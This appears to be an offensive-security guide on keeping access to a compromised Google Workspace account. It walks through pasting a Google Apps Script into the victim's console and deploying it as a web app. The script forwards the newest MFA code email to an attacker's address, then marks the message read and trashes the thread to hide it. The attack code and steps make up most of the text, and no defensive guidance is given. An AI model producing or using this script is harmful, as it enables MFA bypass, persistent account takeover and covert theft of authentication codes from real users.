Persistance

Google Workspace Persistance Methods

Google AppScript MFA Email Forwarding

When a Google Workspace account is configured to receive multi-factor authentication (MFA) codes via email, and the attacker already knows the password, gaining access to an authenticated session (via cookie theft, malware, phishing, or internal access like VDI sessions that bypass MFA) allows for persistence by configuring Google AppScript to automatically forward MFA codes to an external email address. This ensures sustained access even when the session expires or reauthentication is required. It also circumvents outbound email filter restrictions that block manual forwarding rules.

1. Access the Victim’s AppScript Console:

With an active session of the victim’s Google account, go to:

https://script.google.com

2. Create a New Project and Insert the Script:

Paste the following code:

function doGet(e) {
  forwardSpecificEmails();
}

function forwardSpecificEmails() {
  var forwardTo = "[e-mail]"; // Replace with the attacker's email

  var threads = GmailApp.search('from:[e-mail] AND is:unread AND corporate access');

  var latestMessage = null;
  var latestDate = 0;
  var latestPosition = null;

  for (var i = 0; i < threads.length; i++) {
    var messages = threads[i].getMessages();

    for (var j = 0; j < messages.length; j++) {
      var msg = messages[j];

      if (!msg.isUnread()) continue;
      var msgDate = msg.getDate().getTime();

      if (msgDate > latestDate) {
        latestDate = msgDate;
        latestMessage = msg;
        latestPosition = i;
      }
    }
  }

  if (latestMessage) {
    latestMessage.forward(forwardTo);
    latestMessage.markRead();
    threads[latestPosition].moveToTrash();
    return 'Updated';
  } else {
    return "Error";
  }
}

3. Save the Script

4. Deploy the Script as a Web Application:

Go to:

Deploy > New Deployment > Select Type: Web App

Fill in the fields:

• Description: Update 2.1

• Execute as: Me

• Who has access: Anyone within example.com

5. Deploy and Save the Web App URL:

This URL is critical. It remotely triggers the forwarding of any MFA emails to the attacker's address.

Important: Ensure the copied URL is from the Web App, not the library.

6. Trigger the Script:

Accessing the generated URL will execute the script and forward the latest relevant MFA email.